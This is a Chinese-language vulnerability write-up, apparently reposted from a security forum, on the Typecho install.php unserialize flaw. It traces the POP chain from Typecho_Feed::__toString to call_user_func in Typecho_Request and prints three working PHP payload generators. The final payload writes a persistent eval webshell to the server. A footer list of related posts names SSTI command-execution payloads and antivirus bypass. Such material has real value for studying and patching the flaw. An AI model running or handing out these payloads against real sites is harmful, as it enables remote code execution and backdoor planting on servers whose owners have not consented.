Typecho反序列化漏洞分析

Typcho反序列化漏洞分析

影响范围:

2017年10月24日之前的所有版本

环境搭建:

下载地址:http://typecho.org/,这里主要是说下,在intall之前,需要我们手动去数据库添加Typecho数据库

我之前去官网下载的0.9的版本,结果复现失败,想下载之前的版本,官网也没有了,这里找到了1.0.14版本

链接:https://pan.baidu.com/s/1Cc7qJfGSwVop9L1X4pC67Q 提取码:fwvp

漏洞分析:

漏洞入口:install.php246行

<?php
    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
    $type = explode('_', $config['adapter']);
    $type = array_pop($type);

    try {
        $installDb = new Typecho_Db($config['adapter'], $config['prefix']);
        $installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
        }   
?>

明显的一个反序列化函数,但是如何利用呢,反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的有这几个。

__destruct()
__wakeup()
__toString()
__call()
__get()

其中__destruct()是在对象被销毁的时候自动调用,__Wakeup在反序列化的时候自动调用,__toString()是在调用对象当作字符串的时候自动调用。__call()是在对象调用的方法不存在的时候自动调用。__get()是在读取不可访问的属性的值的时候自动调用

先查看Typecho_Cookie类中的get()函数吧:存在于Cookie.php

这里的key即是__typecho_config,我们可以通过COOKIE或者POST传参并返回成为configinstall.php又存在这个代码:

$installDb = new Typecho_Db($config['adapter'], $config['prefix']);

说明Typecho_Db类的参数我们可控,回溯Typecho_Db类:存在于Db.php

这里的adapterName就是我们可控的config,发现这里对adapterName进行了字符替换,那当它为一个类的时候,那么就会自动调用__toString()方法

所以这里如果构造的反序列化是一个数组,其中adapter设置为某个类,就可以触发相应类的__toString方法

全局搜索toString

Typecho/var/Typecho/Feed.php可以利用:

顺着分析__tostring()函数

290行 调用了$item['author']->screenName$items这是一个当前类的私有变量,$item又是由$items遍历而来,所以可控

这里的item['author']调用了sceenName方法,若item['author']为一个类时,而且不存在sceenName方法时,就会调用__get魔术方法,所以全局搜索__get魔术方法。

/var/Typecho/Request.php发现可以利用

回溯get()函数

跟进applyFilter函数:

存在危险函数call_user_func

发现filter是可控的

发现value是通过params传值的,

params可控,所以value可控,所以call_user_func函数可以使用

回溯整条pop chain

首先就是反序列化可控的__typecho_config,又对此实例化,使之成为Typecho_Cookie类中的key值,然后我们可以POST传入参数key__typecho_config,在Typecho_Cookie类中又存在adapterName变量进行字符串的使用,而且adapterName即为config['adapter']可控,当我们使之为Feed.php文件中的Typecho_Feed类时,又会调用该类的__toString()魔术方法,此类又存在可控变量$item['author']调用screenName,当可控参数为一个没有screenName方法的类的时候,就会调用__get()魔术方法,最后就到了Typecho_Request类了,最后找到可以利用的危险函数call_user_func

install.php::__typecho_config (即为Typecho_Cookie类中的key值,通过post传参成为config)  =>  Db.php::Typecho_Db (adapterName即为config['adapter'])  =>  Feed.php::Typecho_Feed::__toString()::$item['author']->screenName ($item['author']可控)  =>  Request.php::Typecho_Request::__get()::get()::applyFilter()::call_user_func

最后在install.php还存在两个exit,我们需要满足他们:

就是

1.finish参数不为空

2.Referer为本站

构造poc:

<?php
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_filter[0]='assert';
        $this->_params['sceenName']='phpinfo()';
    }
}

class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items['0']=array(
            'author'=>new Typecho_Request(),
        );
    }
}

$a = new Typecho_Feed();
$b = array(
    'adapter' => $a,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($b)));
?>

当提交payload后,服务器会回显500:

根据https://paper.seebug.org/424/讲解如下:

install.php的开始,调用了ob_start()

因为我们上面对象注入的代码触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。

我们必须想一个办法强制退出,使得代码不会执行到exception,这样原本的缓冲区数据就会被输出出来。

这里有两个办法。 1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。 2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。最后POC:

<?php
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct()
    {
        // $this->_params['screenName'] = 'whoami';
        $this->_params['screenName'] = -1;
        $this->_filter[0] = 'phpinfo';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';
    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';
    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';
    /** 定义行结束符 */
    const EOL = "\n";
    private $_type;
    private $_items = array();
    public $dateFormat;

    public function __construct()
    {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
    }
}

$x = new Typecho_Feed();
$a = array(
    'host' => 'localhost',
    'user' => 'xxxxxx',
    'charset' => 'utf8',
    'port' => '3306',
    'database' => 'typecho',
    'adapter' => $x,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>

但其实还有另一种利用方法,即使500了也还是执行了命令的,所以我们可以直接写入后门,代码如下:

<?php
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';
        $this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[w0s1np]); ?>")';
    }
}

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}

$final = new Typecho_Feed();
$poc = array(
    'adapter' => $final,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

虽然使用后,服务器还是回显500,但后门会成功写入

本文来源于: https://xz.aliyun.com/t/9428

相关推荐

记一次 getshell 过程

前言 兜兜转转最终拿到了 shell ,但是发现大佬已经在前一个小时 getshell 了,记录一下我是怎么发现的过程。 未授权测试是违法的,仅供学习交流。 过程 打开网站查看源代码,发现成功登录后会跳转到 f0.html 文件 没登录直接

GitHub SSTI靶场 wp

本人小白,师傅们勿喷 payload主要有两种形式: 一种是获取os来执行命令 {{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('

ThinkPHP 6 反序列化漏洞

ThinkPHP6 反序列化漏洞 环境W tp6.0 apache php7.3 漏洞分析 反序列化漏洞需要存在 unserialize() 作为触发条件,修改入口文件 app/controller/Index.php 注意tp6的url访

记一次详细的代码审计

前言 本篇是对极致CMSv1.7漏洞的一些新的发现,先从MVC开始到漏洞的发掘利用 MVC篇 首先,先打开index.php <?php // +-----------------------------------------------

Yii2反序列化RCE 新POP链

Yii反序列化漏洞 0x搭建环境 首先利用composer安装yii2框架 composer create-project yiisoft/yii2-app-basic yii2 yii2 version <= 2.0.41(GitHub最

Java反序列化 — URLDNS利用链分析

Java反序列化 我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性

Burpsuite新手教程(一)Burpsuite在各场景下的抓包应用

1.网页抓包 1.1 火狐浏览器抓包 环境需求: 火狐浏览器 代理插件 (1) 打开测试工具BurpSuite,默认工具拦截功能是开启的,颜色较深,我们点击取消拦截。 下图取消拦截状态,数据包可以自由通过: (2) 按下图顺序点击选显卡

Internal System wp2021hfctf

代码审计 const express = require('express') const router = express.Router() const axios = require('axios') const isIp = requ

58集团白盒代码审计系统建设实践2:深入理解SAST

背景 源代码安全检测是安全开发流程(SDL)中非常重要的一部分,在58集团的CI/CD流程中每天有数千次量级的构建及发布,白盒检测的自动化能力显得极为重要。企业级的白盒代码审计系统就不仅仅面临漏洞发现的需求,也需要适应企业CI/CD流程。由

cs bypass卡巴斯基内存查杀 2

cs bypass卡巴斯基内存查杀 上次看到yansu大佬写了一篇cs bypass卡巴斯基内存查杀,这次正好有时间我也不要脸的跟跟风,所以同样发在先知社区 yansu大佬是通过对cs的特征进行bypass,这次让我们换一种思路,尝试从另一

浅谈XSS

XSS漏洞 绕过推荐 XSS绕过可以看看该文章:XSS过滤绕过速查表 0.介绍 跨站攻击,即Cross Site Script Execution(通常简写为XSS),是前端的漏洞,产生在浏览器一端的漏洞。它是指攻击者在网页中嵌入客户端脚本